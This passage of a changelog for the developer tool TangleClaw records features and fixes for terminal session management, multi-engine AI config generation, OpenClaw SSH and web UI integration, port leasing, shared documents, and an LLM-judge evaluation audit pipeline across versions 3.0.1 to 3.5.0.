  - Tier 2.5 fields now populated in async ingest pipeline (were previously null placeholders)
  - `evalDimensions` added to Prawduct methodology template — governance-focused: decision_framework_adherence (Tier 2), independent_thinking + methodology_compliance (Tier 3), Prawduct-specific judge context
  - `evalDimensions` added to TiLT methodology template — identity-focused: identity_consistency (Tier 2), identity_sentry_compliance + trust_signal_accuracy (Tier 3), TiLT-specific judge context
  - 20 new tests (1142 → 1162): Tier 2.5 scoring (4), wrap quality (5), trends aggregation (3), pipeline integration (2), store listSessions (2), API endpoints (3), prompt builder (1)

## [3.5.0] - 2026-03-24

### Added

- **Eval Audit Mode — Chunk 2: Tier 2/3 Scoring + Gate Cascade**
  - Tier 2 semantic scorer — LLM judge call (Haiku-class) for scope compliance and information completeness. Returns 0.0-1.0 scores per dimension with reasoning
  - Tier 3 behavioral dimensional scorer — LLM judge scoring 1-5 per applicable dimension with methodology-specific filtering via `when` field (always, execution_task, disagreement, high_stakes, code_change)
  - Judge prompt assembly — `buildJudgePrompt()` constructs system prompts from methodology `judgeContext` + dimension definitions, with tier-specific scoring instructions
  - `callJudge` with dependency injection — default implementation calls Anthropic Messages API via Node `https`; accepts injectable function for testability
  - Gate cascade cost optimization — Tier 1 fail → run all tiers; routine pass → Tier 2 only; Tier 2 flag → escalate to Tier 3; cascade togglable via `gateCascade` config
  - `isRoutine()` classifier — determines if an exchange is routine based on turn number, sampling reason, and disagreement patterns
  - Cost tracking — `estimateCost()` calculates USD cost from token usage with Haiku/Sonnet pricing tiers
  - `runScoringPipeline()` — orchestrates full Tier 1→2→3 cascade with error handling, cost accumulation, and tier tracking
  - Async pipeline in ingest handler — Tier 1 scored synchronously, Tier 2/3 run asynchronously after response. Score record updated with pipeline results via new `evalScores.update()`
  - `evalScores.update()` store method — updates Tier 2/3 fields, anomaly flags, cost, and judge model on existing score records
  - Markdown-fenced JSON parsing tolerance in judge response parser
  - 25 new tests (1117 → 1142): judge prompt assembly, Tier 2 scoring with mock judge, Tier 3 dimensional scoring with dimension filtering, cost estimation, routine classification, gate cascade (6 scenarios), store update, error handling

## [3.4.0] - 2026-03-24

### Added

- **Eval Audit Mode — Chunk 1: Capture + Storage Foundation**
  - SQLite schema v9: `eval_exchanges`, `eval_scores`, `eval_baselines` tables with full indexes
  - `audit_secret` column on `openclaw_connections` for webhook authentication
  - Store namespaces: `evalExchanges`, `evalScores`, `evalBaselines` with full CRUD + query APIs
  - `POST /api/audit/ingest` webhook endpoint — receives exchange data from OpenClaw, validates Bearer token auth, stores exchanges, runs Tier 1 scoring inline
  - Tier 1 structural scorer (free, pattern matching) — self-identification denial, silent refusal, constraint disclosure without reasoning. Methodology-aware via `evalDimensions.tier1`
  - Intelligent sampling — always scores first 5 turns, last 3 turns, disagreement, long responses, Tier 1 flags; samples every Nth routine exchange; skipped exchanges stored for retroactive scoring
  - Heartbeat watchdog — monitors data flow per active audit session, escalating alerts at 1/2/3 missed intervals
  - Per-exchange anomaly detection — flags Tier 1 failures, Tier 3 low scores, Tier 2.5 divergence
  - Query API endpoints: `GET /api/audit/:project/scores`, `/anomalies`, `/summary`, `/baseline`
  - Telemetry endpoints: `POST /api/audit/heartbeat`, `GET /api/audit/telemetry`
  - `evalAuditMode` added to `DEFAULT_PROJECT_CONFIG` with full configuration schema
  - Default eval dimensions fallback for methodologies without `evalDimensions`
  - 63 new tests (store CRUD, Tier 1 scorer, sampling logic, heartbeat, API integration)

## [3.3.0] - 2026-03-23

### Changed

- **README rewrite**: New intro section tells the origin story — persistent sessions solving dropped VPN/SSH connections — instead of leading with a feature matrix. Added OpenClaw integration to the features list and OpenClaw Setup to the documentation links.
- **Prawduct framework tools updated**: Synced `product-hook` and all framework tools from upstream Prawduct. Major changes: `prawduct-sync.py`, `prawduct-init.py`, and `prawduct-migrate.py` are now shims delegating to new unified `prawduct-setup.py` (92KB). `product-hook` adds session-end sync (quiet framework sync at session end so hot files are fresh for next session), bootstrap support for repos without manifests, and cleaner sync output formatting. Template updated with `SessionEnd` hook event.
- **Eval Audit Mode spec v2**: Rewrote `tangleclaw-eval-audit-mode.md` in shared docs. Major additions: methodology-aware scoring dimensions (not Genesis-only), webhook push capture with heartbeat watchdog (tmux parsing dropped), thinking block analysis (Tier 2.5), intelligent sampling, auto-incident generation from anomalies, SQLite from day 1, bidirectional scoring, session wrap quality scoring, silent drift detection via automatic baselines, schema versioning for dimension changes.
- **Eval Audit Mode build plan**: 8-chunk implementation plan (`build-plan-eval-audit.md`). ~142 new tests planned across schema, ingest, 4-tier scoring pipeline, query APIs, heartbeat/telemetry, baselines/drift detection, and bidirectional scoring.
- **PortHub schema v8**: host column on port_leases table (composite PK), host-aware lease/release/heartbeat, test version assertions updated.

### Added

- **Methodology extractions directory** (`docs/methodology-extractions/`): New directory for dissecting organic methodologies from existing projects into structured, reproducible patterns. Groundwork for TangleMeth.
  - **TiLT v2 extraction** (`tilt-v2.md`): 10 patterns — identity sentries, session wraps, learning capture, data safety, PROD/DEV separation, doc parity, testing mandates, decision frameworks, mobile parity, anti-bloat rules. Enforcement analysis (prose vs gates).
  - **OnDeck-V2 extraction** (`ondeck-v2.md`): 3 unique patterns — critical incidents log (failures → prevention rules feedback loop), AI config sync system (single source of truth for multi-engine rules), session priming files (dedicated next-session planning with timestamp discipline).
  - **Prawduct reference** (`prawduct.md`): Not extracted — Prawduct is already a designed framework (13,400 lines, Python tools, 27 templates, agent definitions). Referenced as TangleMeth's target output rather than dissected.

## [3.2.9] - 2026-03-21

### Fixed

- **PortHub: bogus per-project ttyd registration removed**: Project creation no longer registers the global ttyd port (3100) under each project's name, which was overwriting TangleClaw's infrastructure lease on every create
- **PortHub: OpenClaw tunnel ports now tracked**: `ensureTunnel()` registers the local port with PortHub (24h TTL), `killTunnel()` releases it — tunnel ports are now visible in `GET /api/ports`
- **PortHub: port conflict check on OpenClaw connections**: Creating or updating an OpenClaw connection now checks `localPort` against PortHub and returns 409 if the port is already in use
- **PortHub: connection delete releases port and kills tunnel**: Deleting an OpenClaw connection now releases its port lease from PortHub and kills any active standalone tunnel
- **PortHub: orphan cleanup recognizes OpenClaw connections**: `_cleanupOrphanLeases()` no longer removes port leases registered under `oc-direct-<id>` patterns when the corresponding OpenClaw connection still exists

## [3.2.8] - 2026-03-21

### Added

- **Standalone OpenClaw access buttons**: "Web UI" and "SSH" action buttons on each connection in the OpenClaw panel. "Web UI" opens the OpenClaw viewer page. "SSH" copies the SSH command to clipboard. New API endpoint `POST /api/openclaw/connections/:id/tunnel` for standalone tunnel startup. Direct proxy handles both HTTP and WebSocket traffic independently of project assignment.
- **OpenClaw viewer page** (`/openclaw-view/:connId`): Dedicated page with TangleClaw header + iframe embedding the OpenClaw Control UI via the direct proxy. Starts tunnel automatically, shows connection name and host in the banner.
- **Auto-approve device pairing**: New endpoint `POST /api/openclaw/connections/:id/approve-pending` auto-approves pending OpenClaw device pairing requests via SSH + docker exec on the gateway host. The viewer page polls this endpoint for 30 seconds after load so new browsers are paired automatically without manual CLI intervention. Approval only runs server-side from TangleClaw.
- **HTTPS support**: TangleClaw can now serve over HTTPS via `httpsEnabled`, `httpsCertPath`, `httpsKeyPath` config options. Required for OpenClaw Control UI's secure context (device identity/crypto). Uses mkcert-generated certs.
- **OpenClaw proxy auth**: All proxy paths (HTTP + WebSocket, both direct and project-based) now rewrite `Origin`/`Referer` headers to match the gateway's local address and inject `Authorization: Bearer <token>` from the connection's gateway token, enabling transparent authentication without device pairing for proxied requests.

## [3.2.7] - 2026-03-21

### Added

- **Web UI mode — frontend + proxy** (Chunk 6/6): OpenClaw reverse proxy at `/openclaw/:project/*` forwards HTTP and WebSocket traffic to the connection's local tunnel port, enabling same-origin iframe embedding. Session wrapper (`public/session.js`) detects webui mode from status poll and loads `iframeUrl` into the iframe instead of ttyd. Peek, Cmd, Select, and Upload buttons disabled for webui sessions (no tmux). Kill modal shows "tears down the SSH tunnel" instead of "terminates the tmux session". tmux mouse toggle hidden in settings for webui. Status endpoint includes `iframeUrl` for webui sessions (enables reconnect on page reload). 9 new tests (1039 total).

## [3.2.6] - 2026-03-21

### Added

- **Web UI mode — backend** (Chunk 5/6): Schema v7 adds `default_mode` column to `openclaw_connections` (`'ssh'` or `'webui'`). New `launchWebuiSession()` async function skips tmux, ensures SSH tunnel via `tunnel.ensureTunnel()`, health-checks via `tunnel.checkHealth()`, records session with `sessionMode: 'webui'`, and returns `iframeUrl` for iframe-based OpenClaw access. `getSessionStatus()` returns health-based status for webui sessions (no tmux, idle always false). `killSession()` tears down SSH tunnel instead of tmux for webui sessions. `injectCommand()` and `peek()` gracefully reject webui sessions. Launch API (`POST /api/sessions/:project`) supports `mode` body param to override connection default, and response includes `sessionMode` and `iframeUrl` fields. 17 new tests (1030 total).

## [3.2.5] - 2026-03-21

### Added

- **Tunnel manager + schema v6** (Chunk 4/6): New `lib/tunnel.js` — lightweight SSH tunnel manager with no npm dependencies. `ensureTunnel()` detects existing tunnels via TCP probe before spawning, `killTunnel()` cleans up by PID and port lookup, `checkHealth()` probes `/healthz` endpoint. Schema v6 migration adds `session_mode` column to sessions table (`'tmux'` default, `'webui'` for iframe-based OpenClaw sessions). `sessions.start()` and `_rowToSession()` updated to handle session mode. 21 new tests (1013 total).

## [3.2.4] - 2026-03-21

### Added

- **OpenClaw engine integration + SSH launch** (Chunk 3/6): OpenClaw connections with `availableAsEngine` now appear as virtual engines in the engine dropdown under an "OpenClaw" optgroup category. Engine ID format: `openclaw:<connectionId>`. `_buildLaunchCommand()` builds SSH command from connection config (`ssh -t -i <key> <user>@<host> "<cliCommand>"`). `enrichProject()` resolves OpenClaw engine names and capabilities from the connection registry. Wrap button hidden for engines without `supportsPrimePrompt`. New `data/engines/openclaw.json` base engine profile (remote, no config file, no prime prompt). 20 new tests (992 total).

## [3.2.3] - 2026-03-21

### Added

- **OpenClaw engine build plan**: Designed and documented full implementation plan for OpenClaw as a new engine type. Two-tier architecture: connection registry (define OpenClaw instances independently) + engine integration (optionally expose as AI engine in project create wizard). Two connection modes: SSH (tmux-based) and Web UI (iframe-based). 6 session chunks planned. See `build-plan.md`.
- **OpenClaw connection registry — backend** (Chunk 1/6): Schema v5 migration adds `openclaw_connections` table. Full CRUD store methods (`store.openclawConnections.list/get/create/update/delete`) with validation, name uniqueness, and activity logging. API routes: `GET/POST /api/openclaw/connections`, `GET/PUT/DELETE /api/openclaw/connections/:id`, `POST /api/openclaw/test` (SSH + gateway health check). 36 new tests (961 total).
- **OpenClaw connection registry — frontend** (Chunk 2/6): "OpenClaw" button in dashboard bar with expandable connections panel. Connection list shows name, host:port, engine badge, and expandable detail grid (SSH user, key path, CLI command, local port). Add/Edit modal with all connection fields, "Test Connection" button (shows SSH/gateway status inline), "Available as Engine" toggle, and delete confirmation. 11 new tests (972 total).

## [3.2.2] - 2026-03-20

### Added

- **Shared docs startup banner**: Prime prompt now includes a "Shared Infrastructure" section when a project belongs to groups with shared documents. Single group shows inline format; multiple groups show a bulleted list with doc counts and `sharedDir` paths. Omitted when project has no groups with docs.

### Fixed

- **Group members not displaying**: Group detail endpoint returned raw project IDs instead of enriched objects with names, causing member names to be blank (only delete buttons visible)

## [3.2.1] - 2026-03-20

### Added

- **Shared docs auto-discover**: Groups now have an optional `sharedDir` field — a directory path whose `.md` files are auto-registered as shared documents on session launch. File names become doc names (e.g., `NETWORK.md` → "NETWORK"). Idempotent — skips already-registered files. Manual sync via `POST /api/groups/:id/sync` or the "Sync" button in the group edit modal.
- **AI shared docs guide**: New `data/shared-docs-guide.md` operational guide injected into all 4 engine config generators (Claude, Codex, Aider, Gemini). Teaches AI assistants how to list, register, lock/unlock shared docs, and explains the shared directory convention.
- **sharedDir UI**: Group create/edit modal now includes a "Shared Directory" input field and "Sync" button. Inline group detail shows the configured shared directory path.
- **Schema v4 migration**: Adds `shared_dir` column to `project_groups` table.

### Fixed

- **Idle chime repeating every 5 seconds**: Chime now plays once per idle transition instead of every poll cycle while idle. Resets only when the session becomes active again.

## [3.2.0] - 2026-03-20

### Added

- **Update Checker**: Daily git remote poll detects new TangleClaw versions by comparing semver tags. Red version badge appears on the session wrapper banner when an update is available. Tapping the badge injects step-by-step update instructions directly into the active AI session (git fetch, pull, test, restart) — the AI agent handles the update. First check runs 60s after server start, then every 24h. Graceful degradation — no errors if offline or remote unreachable. New `GET /api/update-status` endpoint returns cached check result.
- **Project Groups and Shared Documents data model**: 4 new SQLite tables (`project_groups`, `project_group_members`, `shared_documents`, `document_locks`) with full store CRUD APIs. Groups allow relating projects (e.g., "backend services"). Shared documents register files that can be injected into engine configs at session launch. Advisory document locking prevents concurrent edit conflicts between sessions. Schema version bumped to 3.
- **Shared Docs API endpoints**: 15 new HTTP endpoints for groups (`GET/POST /api/groups`, `GET/PUT/DELETE /api/groups/:id`), group members (`GET/POST /api/groups/:id/members`, `DELETE /api/groups/:id/members/:projectId`), shared documents (`GET/POST /api/shared-docs`, `GET/PUT/DELETE /api/shared-docs/:id`), and document locks (`POST/GET/DELETE /api/shared-docs/:id/lock`). All endpoints include enriched responses with member/doc counts, lock status, and project names.
- **Shared docs engine integration**: All 4 engine config generators (Claude, Codex, Aider, Gemini) now inject a `## Shared Documents` section when the project belongs to groups with injectable docs. Reference mode lists file paths with descriptions; inline mode reads and embeds file content in fenced blocks. Lock warnings and missing-file warnings included. Deduplication by file path when project is in multiple groups.
- **Session lifecycle lock release**: `completeWrap()` and `killSession()` now call `store.documentLocks.releaseBySession()` to automatically release all document locks held by the ending session.
- **Document lock expiry timer**: Server bootstrap starts a 5-minute interval timer to sweep expired document locks, stopped on graceful shutdown.
- **Project enrichment with groups**: `enrichProject()` now includes a `groups` array with group name and shared doc count for each group the project belongs to.
- **Project rename in settings modal**: Name field is now editable in the project settings modal; renames the directory on disk, updates the DB path, and updates associated port leases. Disabled with a warning when a session is active
- **Groups management UI**: Collapsible "Groups" panel on the landing page dashboard bar. Create, edit, and delete project groups. Manage group membership via checkbox list. Register shared documents with inject mode (reference/inline) and inject toggle. Expandable group items show members, docs, and lock status inline.
- **Group badges on project cards**: Small blue pills on project cards showing group membership. Card detail expansion includes groups row with doc counts.
- **Shared docs in session wrapper**: Settings modal shows shared documents available to the project (via group membership), with lock status indicators, inject mode badges, file paths, and group names. Hidden when project has no groups.
- **Groups in project detail**: Card detail expansion and project enrichment API now show group membership with shared doc counts
- **Group creation with members**: New Group modal now shows project checkboxes immediately, so members can be selected during creation instead of requiring a separate edit step. Group name is optional — auto-generated from selected member names (e.g. "project-a + project-b"), with override ability.
- **Group pills in session banner**: Session wrapper shows clickable blue pills for each group the project belongs to. Tapping a pill shows a popover with all member projects (current project highlighted), group description, and shared doc count. Click outside to dismiss.

### Fixed

- **Stale methodology on session launch**: Engine config and hooks were regenerated _after_ the tmux session started, so the engine loaded the old CLAUDE.md. Moved config generation and hook sync to run _before_ launching the tmux session
- **Stale extension rules after methodology switch**: Switching away from a methodology (e.g. prawduct → minimal) left its `defaultRules` (docsParity, decisionFramework, independentCritic) enabled. Now resets old methodology rules before applying new ones
- **Auto-scaffold CHANGELOG.md**: New and attached projects get a starter CHANGELOG.md if one doesn't already exist

## [3.1.5] - 2026-03-19

### Changed

- **README overhaul for sharing**: Added problem-statement intro, detailed engine/status descriptions, roadmap section with TangleMeth, and MIT license
- **Removed unreleased methodology templates from distribution**: TiLT template kept locally but excluded from repo via `.gitignore`; Prawduct template (JSON only) continues to ship as a bundled starter
- **Removed internal development artifacts from repo**: INTAKE-BRIEF.md (Prawduct discovery artifact) and `.tangleclaw/project.json` (dogfooding config) excluded via `.gitignore`
- **Fixed stale log paths across docs and deploy**: Updated user-guide, install.sh, and README to reference `~/.tangleclaw/logs/tangleclaw.log` instead of removed `~/Library/Logs/tangleclaw-server.log`
- **Redirected ttyd plist output to `/dev/null`**: Matches server plist change from v3.1.4
- **Simplified clone path in README**: No longer hardcodes a specific local directory
- **Added MIT LICENSE file**
- **Added security note to README**: Documents lack of auth on the server, recommends VPN or trusted network

## [3.1.4] - 2026-03-19

### Fixed

- **Event-loop blocking from git info polling caused terminal failure**: `git.getInfo()` used `execSync` with a 10-second cache TTL, spawning up to 180 git subprocesses (6 commands × 30 project directories) on nearly every `/api/projects` poll. This blocked the Node event loop for 1–4 seconds, preventing WebSocket upgrades from completing — the browser would launch but the terminal CLI never appeared. Increased cache TTL from 10s to 2 minutes and added early `rev-parse HEAD` check to skip `git log`/`git describe` on repos with no commits.
- **Git stderr flooding server log to 19MB**: `execSync` in `git.js` did not explicitly set `stdio`, allowing child process stderr (`fatal: not a git repository`, `fatal: No names found`, etc.) to leak to the parent process stderr. Combined with the launchd plist routing both stdout and stderr to the same log file, this produced ~267K lines (19MB) of noise. Added explicit `stdio: ['pipe', 'pipe', 'pipe']` to capture stderr in-process.
- **Launchd server log growing without rotation**: `StandardOutPath` and `StandardErrorPath` in the server plist pointed to `~/Library/Logs/tangleclaw-server.log` with no rotation. The app's internal logger (`~/.tangleclaw/logs/tangleclaw.log`) already handles rotation at 10MB with 3 backups. Redirected the launchd plist outputs to `/dev/null` to eliminate the redundant, unrotated log.

## [3.1.3] - 2026-03-19

### Fixed

- **Engine config not written for non-Claude engines**: `createProject` and `updateProject` failed silently when writing config files to nested paths (e.g., `.gemini/GEMINI.md`) because the parent directory didn't exist. Added `mkdirSync` before `writeFileSync` in both code paths.
- **Orphaned tmux session adoption skipped setup**: When a tmux session with the project name already existed (orphaned from a prior run), `launchSession` adopted it in-place, skipping working directory, prime prompt injection, config generation, and hook sync. Now kills the orphan and creates a fresh session with full setup.
- **New project opened in ended/wrap state**: After the create wizard finished, it navigated to the session page without launching a session first. The page detected no active session and immediately showed the "session ended" state. Now auto-launches the session after creation.
- **`.claude/` directory created for all projects**: `syncEngineHooks` wrote `.claude/settings.json` regardless of engine. Now skips non-Claude projects.
- **Codex session crashed on startup**: Codex CLI shows interactive trust/update prompts that blocked startup and caused the session to die. Added `launch.preKeys` and `launch.startupDelay` engine profile fields to dismiss startup prompts before prime prompt injection. Codex profile now sends Enter keys to dismiss trust and update dialogs.

## [3.1.2] - 2026-03-18

### Changed

- **Landing page: compact dashboard bar**: Replaced the stacked header, system stats cards, ports toggle, and rules toggle with a single-row dashboard bar. Logo (32px), inline stats (CPU/MEM/DISK/UP), and action buttons (Ports, Rules, Settings) all in one line. Recovers ~200px of vertical space so the project list is immediately visible. Stats hidden on mobile (<600px) for a clean two-element bar.

## [3.1.1] - 2026-03-18

### Changed

- **Desktop session banner**: Single-row layout at 900px+ with compact action buttons inline. Mobile layout unchanged.
- **Model status indicators**: Replaced border-based engine status with inline status dot inside the pill. Non-operational states change the entire pill color (amber/orange/red) with a pulsing glow on major outages. Consistent across session and landing pages.
- **Session banner order**: Reordered to name → version → connected dot → methodology → phase → engine (last).

### Fixed

- **Model status not shown in session banner**: The model status monitor was only wired to the landing page project cards. Now the session page banner also fetches and displays upstream service status on the engine badge, polling every 2 minutes.
- **Distorted logo in session banner**: Regenerated icon-192.png and icon-512.png from source with correct aspect ratio.

## [3.1.0] - 2026-03-18

### Added

- **Model status monitor**: Engine badges on project cards now show real-time upstream service status via a colored left border (green = operational, amber = degraded, orange = partial outage, red = major outage). Status polled every 2 minutes from official status pages (Anthropic, OpenAI, Google Cloud). Hover for details.
- **New API endpoint**: `GET /api/models/status` returns cached upstream service status for all engines with status page configs.
- **Engine profile `statusPage` field**: New optional field on engine profiles for upstream status page configuration (adapter type, URL, component/product identifiers). Set to `null` for engines without a known status page.
- **Status parity guard**: `validateStatusParity()` ensures every engine profile declares a `statusPage` field. Parity tests catch missing status config when adding new engines.

## [3.0.3] - 2026-03-18

### Fixed

- **Session page never redirects after session ends**: `getSessionStatus()` returned `active: true` even when the tmux session had died, so the countdown/redirect to the landing page never fired. Now detects dead tmux sessions and marks them as crashed, allowing the frontend to show the countdown and redirect.
- **Empty terminal on first launch after wrap**: When a wrapping session's tmux died, `enrichProject()` still reported it as `active: true`. The landing page would skip the server-side launch and navigate to a dead terminal. Now checks tmux liveness before reporting sessions as active, and `launchSession()` cleans up stale wrapping/active sessions before creating new ones.
- **Uncommitted work left behind after wrap**: The wrap protocol told the AI to commit, but if the engine exited before completing the commit step, changes were left uncommitted. Now `completeWrap()` and `autoCompleteWrap()` programmatically commit any uncommitted changes after the wrap finalizes.

## [3.0.2] - 2026-03-18

### Fixed

- **Orphan port leases never cleaned up**: Permanent port leases imported from the old PortHub daemon for projects that no longer exist (e.g. archived `TiLT-v1-archived` on port 5432) stayed in the database forever. The import banner would show them, but clicking Import just auto-ignored them in localStorage — the lease remained. Now: (1) `bootstrap()` runs `_cleanupOrphanLeases()` on every server start, releasing leases for projects that are neither registered in SQLite nor present as directories in projectsDir. (2) The `POST /api/projects/import` endpoint now releases orphan leases when the directory doesn't exist instead of just warning.

## [3.0.1] - 2026-03-18

### Fixed

- **Import banner keeps re-triggering for the same projects**: The "project found in port leases not registered in TangleClaw" banner used `sessionStorage` for dismissal (cleared on every page load) and showed no details about what was found. Root causes: (1) TangleClaw's own infra ports registered as "TangleClaw" but the project is registered as "TangleClaw-v3" — constant mismatch. (2) Projects without matching directories (e.g. archived) could never be imported, so the banner returned forever. Fixed by: deriving the system port project name from the install directory, adding per-project "Ignore" buttons with `localStorage` persistence, showing project names/ports/conflicts in the banner, and auto-ignoring projects whose directories don't exist when import is attempted.
- **Port leases not tracked on project rename**: Added `portLeases.renameProject()` to update all leases when a project name changes. Project rename via PATCH now cascades to port lease records.
- **ttyd "Too many open files" causing reconnect loop**: ttyd was leaking PTY file descriptors (`/dev/ptmx`) when WebSocket connections dropped — they accumulated over time until hitting the default macOS launchd limit of 256 FDs, at which point `pty_spawn` failed on every new connection. Raised `SoftResourceLimits` and `HardResourceLimits` for `NumberOfFiles` to 4096 in both the plist template (`deploy/com.tangleclaw.ttyd.plist`) and the installed plist. Re-run `deploy/install.sh` or manually reload the launchd agent to apply.
- **Wrap command sends `/session-wrap` slash command that Claude Code doesn't recognize**: The default wrap command was `/session-wrap`, which Claude Code rejects as `Unknown skill: session-wrap`. Changed to a natural language prompt so Claude Code interprets it as a regular instruction instead of a non-existent slash command.
- **Kill button disabled during wrapping with no escape hatch**: Both wrap and kill buttons were disabled during wrapping state. If the wrap completed but tmux stayed alive, the user was stuck. Kill button now stays enabled during wrapping. Also added idle detection during wrapping — if Claude goes idle for 3 consecutive polls (~6s), the wrap auto-completes without requiring tmux to die.
- **Mobile terminal scrollback**: Added touch scroll shim for the terminal iframe on mobile. xterm.js's built-in touch handling doesn't scroll through the scrollback buffer on mobile; the shim intercepts touch swipe events and calls `scrollLines()` on the xterm.js instance directly.
- **Session wrap lifecycle**: Wrap button now works end-to-end. Clicking Wrap transitions the session from `active` → `wrapping` → `wrapped` with proper state tracking. The terminal stays visible during wrapping so the user can watch the AI execute wrap steps. When the AI exits tmux, the wrap summary is auto-captured from terminal output and stored for the next session's prime prompt. Added 20s countdown with "Stay" button on wrap completion. The wrap command is now methodology-driven — template-defined `steps` and `captureFields` are sent to the AI and used to parse structured output.

### Added

- **Global settings modal** (Phase 3, Chunk 1+2): Gear icon in header opens a settings modal with all configurable options — theme, peek mode, global chime mute, default engine/methodology, projects directory, and port scanner controls. Previously required API calls or the first-run wizard.
- **Global chime mute** (Phase 3, Chunk 1): Master mute toggle (`chimeMuted`) that silences chime notifications across all sessions, independent of per-session chime settings.
- **Theme support** (Phase 3, Chunk 1): Theme selection (dark/light/high-contrast) now applies CSS variable overrides immediately on save and persists across pages (landing + session). Dark remains the default.
- **Configurable port scanner** (Phase 3, Chunk 2): Port scanner can now be disabled (`portScannerEnabled`) or have its interval adjusted (`portScannerIntervalMs`, 10s–600s). Changes take effect immediately — scanner restarts or stops without requiring a server restart.

### Fixed

- **ttyd reconnect loop**: Fixed `deploy/ttyd-attach.sh` where `exec cmd1 || exec cmd2` fallback was dead code (`exec` replaces the shell, so `||` never runs). When a tmux session died overnight, ttyd would rapidly loop trying to reattach. Now uses `tmux new-session -A` which atomically attaches or creates. Added regression tests to prevent reintroduction.
- **Legacy `claude-code` engine ID in project configs**: The engine rename from `claude-code` to `claude` only updated the DB and defaults — existing `.tangleclaw/project.json` files on disk retained the old ID, causing "Engine not found" on launch. Added migration in `projectConfig.load()` that normalizes `claude-code` to `claude` on read. Bulk-fixed all 16 affected project configs.
- **Spaces in project names**: Project names with spaces (e.g. "TiLT v2") were rejected by the name validator. Now allowed — spaces are converted to hyphens for tmux session names via `tmux.toSessionName()`. Sanitization applied in session launch, status checks, delete, and ttyd-attach.sh.

### Changed

- **product-hook phase sync removed**: The `_sync_phase_to_tangleclaw()` code in product-hook was removed by upstream Prawduct framework sync. Phase sync is now handled externally.
- **Methodology config corruption**: Fixed Notse project showing "Minimal" on splash page when it was built with Prawduct (config had wrong methodology value while `.prawduct/` directory existed)

### Added

- **Detach vs Delete**: Project cards now have two actions — detach (removes from TangleClaw, files stay on disk, re-attachable) and delete (removes from TangleClaw and deletes files from disk). Delete requires type-to-confirm; detach shows a simple confirmation.
- **Hide unattached projects by default**: Landing page now only shows registered projects. A "N unattached" toggle button in the toolbar reveals unregistered projects when needed. Preference persists in localStorage.
- **Methodology hook management**: TangleClaw now manages `.claude/settings.json` hooks based on the assigned methodology. Prawduct projects get session governance hooks (product-hook clear/stop) pointing to TangleClaw's tools directory. Minimal/TiLT projects get hooks cleared. Hooks are synced on project create, attach, methodology switch, and session launch.
- **Methodology switch confirmation modal**: Changing a project's methodology now shows a confirmation dialog explaining what gets archived, what gets initialized, and that hooks will update. Archived state stays accessible to AI assistants.
- **Methodology archive tracking**: When switching methodologies, the archive path is stored in project config and referenced in generated CLAUDE.md/GEMINI.md and prime prompts so AI assistants know about prior methodology state.
- **`hooks` field in methodology templates**: Templates can now declare engine-specific session hooks with `{{TANGLECLAW_DIR}}` placeholder resolution.
- **Methodology badge in session banner**: Purple pill next to the engine badge shows the active methodology during a session.
- **Engine and methodology badges on splash page**: Project cards now show engine (green) and methodology (purple) badges with consistent color coding across session and landing pages.
- **Phase badge**: Orange pill shows the current methodology phase (e.g., "building", "discovery") on both splash page cards and session banner.
- **Kill button styling on landing page**: Kill session button on project cards now has red outline matching the session banner kill button style.
- **Automatic phase sync**: Product-hook infers the methodology phase from `work_in_progress.type` in project-state.yaml at session start and syncs it to TangleClaw via the API. Phase badge updates automatically without manual configuration.
- **Phase field in project updates**: `PATCH /api/projects/:name` now accepts a `phase` field to set the methodology phase.
- **Inferred phase fallback**: Projects with a methodology but no explicit phase show an inferred state badge — "in session" (active session), "active" (dirty git), or "idle" (no activity). Every methodology-enabled project now has a visible state indicator.
- **Mobile card layout**: On narrow screens (480px and below), project cards stack the name on its own line above badges and action buttons, preventing name truncation.

### Added

- **Parity validation**: New `validateParity()` function in `lib/engines.js` programmatically verifies that all engines with `supportsConfigFile: true` include core rules, PortHub guide, global rules, and methodology info in their generated config. Callable from tests and the Independent Critic.
- **Cross-feature integration tests**: Full-flow tests verifying Gemini config generation with all sections, global rules propagation across regenerated configs, port scanner conflict detection via `checkPort()`, and parity-equivalent output across all engines.
- **Parity checklist documentation**: `docs/engine-guide.md` now includes a step-by-step checklist for adding new engine generators with parity requirements.

### Added

- **Periodic Port Scanner**: New `lib/port-scanner.js` module scans the system for listening TCP ports using `lsof` every 60 seconds. `checkPort()` now detects conflicts with ports bound by processes outside the lease registry (returns `systemDetected: true`). `registerPort()` logs a warning when registering a port already in use by a system process but still allows registration. `GET /api/ports` response includes `systemPortCount` (count of system-detected ports not tracked in lease DB). Graceful degradation if `lsof` is unavailable.
- **Global Rules System**: Editable markdown rules that apply to all projects across all engines. Global rules are injected as a `## Global Rules` section into every generated engine config (CLAUDE.md, .codex.yaml, .aider.conf.yml, GEMINI.md). Editable from the landing page or via API (`GET/PUT /api/rules/global`, `POST /api/rules/global/reset`). Stored at `~/.tangleclaw/global-rules.md`, auto-created from bundled defaults on first load.

### Added

- **Gemini CLI engine support**: New built-in engine profile for Google's Gemini CLI. Config file (`GEMINI.md`) is generated in `.gemini/` subdirectory with full rule injection (core rules, extension rules, PortHub guide, methodology info). Auto-detected via `which gemini`.
- **Cross-platform rule injection parity**: All engines with config file support (Claude Code, Codex, Aider) now receive the same core rules, extension rules, PortHub guide, and methodology info — translated into each engine's native format. Previously only Claude Code got full rule content.
- **Codex config now includes instructions**: Generated `.codex.yaml` files include an `instructions:` field with full markdown rules, PortHub guide, and methodology description.
- **Aider config now includes rules**: Generated `.aider.conf.yml` files include core rules and PortHub references as YAML comments for human visibility.
- **Rule parity test suite**: Automated tests verify that every engine with `supportsConfigFile: true` includes core rules, PortHub references, and methodology info in its generated config.

### Changed — Ports Panel UI

- **Bright white port group headers**: Port group names now use the primary text color (`--text`) instead of muted gray, improving readability in the ports panel.
- **Collapsible port groups**: Each project group in the ports panel can be individually collapsed/expanded via a clickable toggle with arrow caret. All groups default to open. Keyboard accessible (Enter/Space) with `aria-expanded` attributes. Lease count shown next to each group name.

### Added

- **Kill button on landing page**: Project cards with active sessions now show a Kill button (stop icon) in the card row and in the expanded detail view. Opens a confirmation modal with password support if delete protection is configured. Previously Kill was only available from the session view.

### Fixed

- **Terminal iframe shows wrong tmux session**: ttyd was hardcoded to a single "tangleclaw" tmux session, so the iframe always showed a blank shell instead of the project's actual session (with Claude Code running). Added `--url-arg` flag and a `ttyd-attach.sh` wrapper script so ttyd connects to the correct per-project tmux session based on the iframe's `?arg=` parameter.
- **Terminal input completely broken (desktop and mobile)**: ttyd 1.7.x defaults to readonly mode. The launchd plist was missing the `--writable` flag, so the terminal rendered output but silently rejected all keyboard input. Added `--writable` to the ttyd plist. Re-run `deploy/install.sh` to apply.
